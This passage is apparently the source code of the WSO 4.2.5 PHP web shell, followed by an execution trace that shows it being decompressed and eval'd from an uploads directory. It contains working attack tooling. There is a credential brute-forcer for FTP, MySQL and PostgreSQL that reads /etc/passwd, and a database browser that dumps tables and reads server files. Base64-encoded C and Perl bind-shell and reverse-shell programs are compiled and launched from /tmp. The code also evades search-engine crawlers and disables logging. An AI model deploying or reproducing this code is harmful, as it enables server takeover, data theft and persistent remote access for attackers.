echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($line[0]) . '<br>';
}
if (@$_POST['reverse']) {
$tmp = "";
for ($i = strlen($line[0]) - 1; $i >= 0; --$i) {
$tmp .= $line[0][$i];
}
++$attempts;
if (bruteForce(@$server[0], @$server[1], $line[0], $tmp)) {
$success++;
echo '<b>' . htmlspecialchars($line[0]) . '</b>:' . htmlspecialchars($tmp);
}
}
}
}
} elseif ($_POST['type'] == 2) {
$temp = @file($_POST['dict']);
if (is_array($temp)) {
foreach ($temp as $line) {
$line = trim($line);
++$attempts;
if (bruteForce($server[0], @$server[1], $_POST['login'], $line)) {
$success++;
echo '<b>' . htmlspecialchars($_POST['login']) . '</b>:' . htmlspecialchars($line) . '<br>';
}
}
}
}
echo "<span>Attempts:</span> " . $attempts . " <span>Success:</span> " . $success . "</div><br>";
}
echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td><td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td><input type=hidden name=c value="' . htmlspecialchars($GLOBALS['cwd']) . '">' . '<input type=hidden name=a value="' . htmlspecialchars($_POST['a']) . '">' . '<input type=hidden name=charset value="' . htmlspecialchars($_POST['charset']) . '">' . '<input type=hidden name=ne value="">' . '<span>Server:port</span></td>' . '<td><input type=text name=server value="127.0.0.1"></td></tr>' . '<tr><td><span>Brute type</span></td>' . '<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>' . '<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>' . '<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>' . '<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' . '<td><input type=text name=login value="root"></td></tr>' . '<tr><td><span>Dictionary</span></td>' . '<td><input type=text name=dict value="' . htmlspecialchars($GLOBALS['cwd']) . 'passwd.dic"></td></tr></table>' . '</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>';
echo "</div>";
hardFooter();
}
function actionSql()
{
class DbClass
{
public $type;
public $link;
public $res;
function DbClass($type)
{
$this->type = $type;
}
function connect($host, $user, $pass, $dbname)
{
switch ($this->type) {
case 'mysql':
if ($this->link = @mysql_connect($host, $user, $pass, true)) {
return true;
}
break;
case 'pgsql':
$host = explode(':', $host);
if (!$host[1]) {
$host[1] = 5432;
}
if ($this->link = @pg_connect("host=" . $host[0] . " port=" . $host[1] . " user=" . $user . " password=" . $pass . " dbname=" . $dbname)) {
return true;
}
break;
}
return false;
}
function selectdb($db)
{
switch ($this->type) {
case 'mysql':
if (@mysql_select_db($db)) {
return true;
}
break;
}
return false;
}
function query($str)
{
switch ($this->type) {
case 'mysql':
return $this->res = @mysql_query($str);
case 'pgsql':
return $this->res = @pg_query($this->link, $str);
}
return false;
}
function fetch()
{
$res = func_num_args() ? func_get_arg(0) : $this->res;
switch ($this->type) {
case 'mysql':
return @mysql_fetch_assoc($res);
case 'pgsql':
return @pg_fetch_assoc($res);
}
return false;
}
function listDbs()
{
switch ($this->type) {
case 'mysql':
return $this->query("SHOW databases");
case 'pgsql':
return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
}
return false;
}
function listTables()
{
switch ($this->type) {
case 'mysql':
return $this->res = $this->query('SHOW TABLES');
case 'pgsql':
return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
}
return false;
}
function error()
{
switch ($this->type) {
case 'mysql':
return @mysql_error();
case 'pgsql':
return @pg_last_error();
}
return false;
}
function setCharset($str)
{
switch ($this->type) {
case 'mysql':
if (function_exists('mysql_set_charset')) {
return @mysql_set_charset($str, $this->link);
} else {
$this->query('SET CHARSET ' . $str);
}
break;
case 'pgsql':
return @pg_set_client_encoding($this->link, $str);
}
return false;
}
function loadFile($str)
{
switch ($this->type) {
case 'mysql':
return $this->fetch($this->query("SELECT LOAD_FILE('" . addslashes($str) . "') as file"));
case 'pgsql':
$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM '" . addslashes($str) . "';select file from hard2;");
$r = array();
while ($i = $this->fetch()) {
$r[] = $i['file'];
}
$this->query('drop table hard2');
return array('file' => implode("\n", $r));
}
return false;
}
function dump($table, $fp = false)
{
switch ($this->type) {
case 'mysql':
$res = $this->query('SHOW CREATE TABLE `' . $table . '`');
$create = mysql_fetch_array($res);
$sql = $create[1] . ";\n";
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
$this->query('SELECT * FROM `' . $table . '`');
$i = 0;
$head = true;
while ($▟ = $this->fetch()) {
$sql = '';
if ($i % 1000 == 0) {
$head = true;
$sql = ";\n\n";
}
$columns = array();
foreach ($▟ as $k => $v) {
if ($v === null) {
$▟[$k] = "NULL";
} elseif (is_int($v)) {
$▟[$k] = $v;
} else {
$▟[$k] = "'" . @mysql_real_escape_string($v) . "'";
}
$columns[] = "`" . $k . "`";
}
if ($head) {
$sql .= 'INSERT INTO `' . $table . '` (' . implode(", ", $columns) . ") VALUES \n\t(" . implode(", ", $▟) . ')';
$head = false;
} else {
$sql .= "\n\t,(" . implode(", ", $▟) . ')';
}
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
$i++;
}
if (!$head) {
if ($fp) {
fwrite($fp, ";\n\n");
} else {
echo ";\n\n";
}
}
break;
case 'pgsql':
$this->query('SELECT * FROM ' . $table);
while ($▟ = $this->fetch()) {
$columns = array();
foreach ($▟ as $k => $v) {
$▟[$k] = "'" . addslashes($v) . "'";
$columns[] = $k;
}
$sql = 'INSERT INTO ' . $table . ' (' . implode(", ", $columns) . ') VALUES (' . implode(", ", $▟) . ');' . "\n";
if ($fp) {
fwrite($fp, $sql);
} else {
echo $sql;
}
}
break;
}
return false;
}
}
$db = new DbClass($_POST['type']);
if (@$_POST['p2'] == 'download' && @$_POST['p1'] != 'select') {
$db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
$db->selectdb($_POST['sql_base']);
switch ($_POST['charset']) {
case "Windows-1251":
$db->setCharset('cp1251');
break;
case "UTF-8":
$db->setCharset('utf8');
break;
case "KOI8-R":
$db->setCharset('koi8r');
break;
case "KOI8-U":
$db->setCharset('koi8u');
break;
case "cp866":
$db->setCharset('cp866');
break;
}
if (empty($_POST['file'])) {
ob_start("ob_gzhandler", 4096);
header("Content-Disposition: attachment; filename=dump.sql");
header("Content-Type: text/plain");
foreach ($_POST['tbl'] as $v) {
$db->dump($v);
}
exit;
} elseif ($fp = @fopen($_POST['file'], 'w')) {
foreach ($_POST['tbl'] as $v) {
$db->dump($v, $fp);
}
fclose($fp);
unset($_POST['p2']);
} else {
die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
}
}
hardHeader();
echo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=''><input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>\r\n<td><label><select name='type'><option value='mysql' ";
if (@$_POST['type'] == 'mysql') {
echo "selected";
}
echo ">MySql</option><option value='pgsql' ";
if (@$_POST['type'] == 'pgsql') {
echo "selected";
}
echo ">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\"" . (empty($_POST['sql_host']) ? 'localhost' : htmlspecialchars($_POST['sql_host'])) . "\"></td>\r\n<td><input type=text name=sql_login value=\"" . (empty($_POST['sql_login']) ? 'root' : htmlspecialchars($_POST['sql_login'])) . "\"></td>\r\n<td><input type=text name=sql_pass value=\"" . (empty($_POST['sql_pass']) ? '' : htmlspecialchars($_POST['sql_pass'])) . "\" required></td><td>";
$tmp = "<input type=text name=sql_base value=''>";
if (isset($_POST['sql_host'])) {
if ($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
switch ($_POST['charset']) {
case "Windows-1251":
$db->setCharset('cp1251');
break;
case "UTF-8":
$db->setCharset('utf8');
break;
case "KOI8-R":
$db->setCharset('koi8r');
break;
case "KOI8-U":
$db->setCharset('koi8u');
break;
case "cp866":
$db->setCharset('cp866');
break;
}
$db->listDbs();
echo "<label><select name=sql_base><option value=''></option>";
while ($▟ = $db->fetch()) {
list($key, $value) = each($▟);
echo '<option value="' . $value . '" ' . ($value == $_POST['sql_base'] ? 'selected' : '') . '>' . $value . '</option>';
}
echo "</select></label>";
} else {
echo $tmp;
}
} else {
echo $tmp;
}
echo "</td>\r\n\t\t\t\t<td><input type=submit value='submit' onclick='fs(d.sf);'></td>\r\n <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count']) ? '' : ' checked') . "> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n s_db='" . @addslashes($_POST['sql_base']) . "';\r\n function fs(f) {\r\n if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n if(f.p1) f.p1.value='';\r\n if(f.p2) f.p2.value='';\r\n if(f.p3) f.p3.value='';\r\n }\r\n }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = 'select';\r\n\t\t\t\td.sf.p2.value = t;\r\n if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements['tbl[]'].length;++i)\r\n\t\t\t\t\td.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;\r\n\t\t\t}\r\n\t\t</script>";
if (isset($db) && $db->link) {
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if (!empty($_POST['sql_base'])) {
$db->selectdb($_POST['sql_base']);
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while ($▟ = $db->fetch($tbls_res)) {
list($key, $value) = each($▟);
if (!empty($_POST['sql_count'])) {
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM ' . $value . ''));
}
$value = htmlspecialchars($value);
echo "<nobr><input type='checkbox' name='tbl[]' value='" . $value . "'> <a href=# onclick=\"st('" . $value . "',1)\">" . $value . "</a>" . (empty($_POST['sql_count']) ? ' ' : " <small>(" . $n['n'] . ")</small>") . "</nobr><br>";
}
echo "<input type='checkbox' onclick='is();'> <input type=submit value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
if (@$_POST['p1'] == 'select') {
$_POST['p1'] = 'query';
$_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : 1;
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
$num = $db->fetch();
$pages = ceil($num['n'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> (" . $num['n'] . " records) Page # <input type=text name='p3' value=" . (int) $_POST['p3'] . ">";
echo " of " . $pages;
if ($_POST['p3'] > 1) {
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - 1) . ")'>< Prev</a>";
}
if ($_POST['p3'] < $pages) {
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + 1) . ")'>Next ></a>";
}
$_POST['p3']--;
if ($_POST['type'] == 'pgsql') {
$_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . $_POST['p3'] * 30;
} else {
$_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . $_POST['p3'] * 30 . ',30';
}
echo "<br><br>";
}
if (@$_POST['p1'] == 'query' && !empty($_POST['p2'])) {
$db->query(@$_POST['p2']);
if ($db->res !== false) {
$title = false;
echo "<table width=100% cellspacing=1 cellpadding=2 class=main>";
$line = 1;
while ($▟ = $db->fetch()) {
if (!$title) {
echo "<tr>";
foreach ($▟ as $key => $value) {
echo '<th>' . $key . '</th>';
}
reset($▟);
$title = true;
echo "</tr><tr>";
$line = 2;
}
echo '<tr class="l' . $line . '">';
$line = $line == 1 ? 2 : 1;
foreach ($▟ as $key => $value) {
if ($value == null) {
echo "<td><i>null</i></td>";
} else {
echo '<td>' . nl2br(htmlspecialchars($value)) . '</td>';
}
}
echo "</tr>";
}
echo "</table>";
} else {
echo '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
}
}
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
if (!empty($_POST['p2']) && $_POST['p1'] != 'loadfile') {
echo htmlspecialchars($_POST['p2']);
}
echo "</textarea><br/><input type=submit value='Execute'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if ($_POST['type'] == 'mysql') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
if ($db->fetch()) {
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='submit'></form>";
}
}
if (@$_POST['p1'] == 'loadfile') {
$file = $db->loadFile($_POST['p2']);
echo '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
}
} else {
echo htmlspecialchars($db->error());
}
echo "</div>";
hardFooter();
}
function actionNetwork()
{
hardHeader();
$back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
$back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
$bind_port_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9";
$bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
echo "<h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=" . $_SERVER['REMOTE_ADDR'] . "> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>";
if (isset($_POST['p1'])) {
function cf($f, $t)
{
$w = @fopen($f, "w") or @function_exists('file_put_contents');
if ($w) {
@fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
@fclose($w);
}
}
if ($_POST['p1'] == 'bpc') {
cf("/tmp/bp.c", $bind_port_c);
$▖ = ex("gcc -o /tmp/bp /tmp/bp.c");
@unlink("/tmp/bp.c");
$▖ .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
echo "<pre class=ml1>" . $▖ . ex("ps aux | grep bp") . "</pre>";
}
if ($_POST['p1'] == 'bpp') {
cf("/tmp/bp.pl", $bind_port_p);
$▖ = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
echo "<pre class=ml1>" . $▖ . ex("ps aux | grep bp.pl") . "</pre>";
}
if ($_POST['p1'] == 'bcc') {
cf("/tmp/bc.c", $back_connect_c);
$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");
@unlink("/tmp/bc.c");
$▖ .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
echo "<pre class=ml1>" . $▖ . ex("ps aux | grep bc") . "</pre>";
}
if ($_POST['p1'] == 'bcp') {
cf("/tmp/bc.pl", $back_connect_p);
$▖ = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
echo "<pre class=ml1>" . $▖ . ex("ps aux | grep bc.pl") . "</pre>";
}
}
echo "</div>";
hardFooter();
}
if (empty($_POST['a'])) {
if (isset($▚) && function_exists('action' . $▚)) {
$_POST['a'] = $▚;
} else {
$_POST['a'] = 'FilesMan';
}
}
if (!empty($_POST['a']) && function_exists('action' . $_POST['a'])) {
call_user_func('action' . $_POST['a']);
}
};
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-13 00:58:40.275498]
1 0 1 0.000128 393528
1 3 0 0.000320 417912 {main} 1 /var/www/html/uploads/jftdpr.php 0 0
2 4 0 0.000340 417912 gzuncompress 0 /var/www/html/uploads/jftdpr.php 1 1 'x���v۸�(���Z�\035hn�P�Ȳ$��D�\034;�N\034��G�=j��$�\024�&)ˎ��\021z͜;k݇�7�O2U\005�\004)J���sά�v,\002�B�\000\024\n�B��g[U[�����pd���]��.>���?�ڮ���[ã�=�V˥�����/���I�\002�:�{;G�ڥ�rz�\005\'��\030�����\034�|)(�|��U�ʾU/u�.\b�؏o\003��\020t\005��[�P�=\f�[\000>��/�90B�\027\000���6�,C\033\003�l\004���l�!c���c��uY\035Ž��@B\036Ų��6� �<�\001�\t\022�LC~�\004�I\b�2\r��h"���R��P�\021*\032?O�r���\037�b��T�F�\031;��$��8�����߅v<\n=Lh�o8��Ar5;\f���}��\\Wo�Y�ء�H��䌡qӱols�Uubgh3\000Ȥ���\f��\'
2 4 1 0.001042 487576
2 4 R '$▛="";$▘=true;$▜=\'UTF-8\';$▚=\'FilesMan\';$▙=md5($_SERVER[\'HTTP_USER_AGENT\']);if(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])){prototype(md5($_SERVER[\'HTTP_HOST\'])."key",$▙);}if(empty($_POST[\'charset\']))$_POST[\'charset\']=$▜;if(!isset($_POST[\'ne\'])){if(isset($_POST[\'a\']))$_POST[\'a\']=iconv("utf-8",$_POST[\'charset\'],decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));if(isset($_POST[\'c\']))$_POST[\'c\']=iconv("utf-8",$_POST[\'charset\'],decrypt($_POST[\''
2 5 0 0.003443 1037056 eval 1 '$▛="";$▘=true;$▜=\'UTF-8\';$▚=\'FilesMan\';$▙=md5($_SERVER[\'HTTP_USER_AGENT\']);if(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])){prototype(md5($_SERVER[\'HTTP_HOST\'])."key",$▙);}if(empty($_POST[\'charset\']))$_POST[\'charset\']=$▜;if(!isset($_POST[\'ne\'])){if(isset($_POST[\'a\']))$_POST[\'a\']=iconv("utf-8",$_POST[\'charset\'],decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));if(isset($_POST[\'c\']))$_POST[\'c\']=iconv("utf-8",$_POST[\'charset\'],decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));if(isset($_POST[\'p1\']))$_POST[\'p1\']=iconv("utf-8",$_POST[\'charset\'],decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));if(isset($_POST[\'p2\']))$_POST[\'p2\']=iconv("utf-8",$_POST[\'charset\'],decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));if(isset($_POST[\'p3\']))$_POST[\'p3\']=iconv("utf-8",$_POST[\'charset\'],decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));}function decrypt($str,$pwd){return$str;}@ini_set(\'error_log\',null);@ini_set(\'log_errors\',0);@ini_set(\'max_execution_time\',0);@set_time_limit(0);if(PHP_VERSION_ID<70000)@set_magic_quotes_runtime(0);@define(\'VERSION\',\'4.2.5\');if(get_magic_quotes_gpc()){function stripslashes_array($array){return is_array($array)?array_map(\'stripslashes_array\',$array):stripslashes($array);}$_POST=stripslashes_array($_POST);$_COOKIE=stripslashes_array($_COOKIE);}if(!empty($▛)){if(isset($_POST[\'pass\'])&&(md5($_POST[\'pass\'])==$▛))prototype(md5($_SERVER[\'HTTP_HOST\']),$▛);if(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])])||($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]!=$▛))hardLogin();}if(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']))$_COOKIE[md5($_SERVER[\'HTTP_HOST\']).\'ajax\']=(bool)$▘;function hardLogin(){if(!empty($_SERVER[\'HTTP_USER_AGENT\'])){$userAgents=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");if(preg_match(\'/\'.implode(\'|\',$userAgents).\'/i\',$_SERVER[\'HTTP_USER_AGENT\'])){header(\'HTTP/1.0 404 Not Found\');exit;}}die("<pre align=center><form method=post>Password<br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'submit\' style=\'border:none;background-color:#56AD15;color:#fff;cursor:pointer;\'></form></pre>");}if(strtolower(substr(PHP_OS,0,3))=="win")$os=\'win\';else $os=\'nix\';$safe_mode=@ini_get(\'safe_mode\');if(!$safe_mode)error_reporting(0);$disable_functions=@ini_get(\'disable_functions\');$home_cwd=@getcwd();if(isset($_POST[\'c\']))@chdir($_POST[\'c\']);$cwd=@getcwd();if($os==\'win\'){$home_cwd=str_replace("\\\\","/",$home_cwd);$cwd=str_replace("\\\\","/",$cwd);}if($cwd[strlen($cwd)-1]!=\'/\')$cwd.=\'/\';function hardHeader(){if(empty($_POST[\'charset\']))$_POST[\'charset\']=$GLOBALS[\'▜\'];echo"<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=".$_POST[\'charset\']."\'><title>".$_SERVER[\'HTTP_HOST\']." - WSO ".VERSION."</title>\r\n<style>\r\n\tbody {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color:#C3C3C3;}\r\n\ttable#toolsTbl {background-color: #060A10;}\r\n\tspan,h1,a\t{color:#fff !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Consolas\', 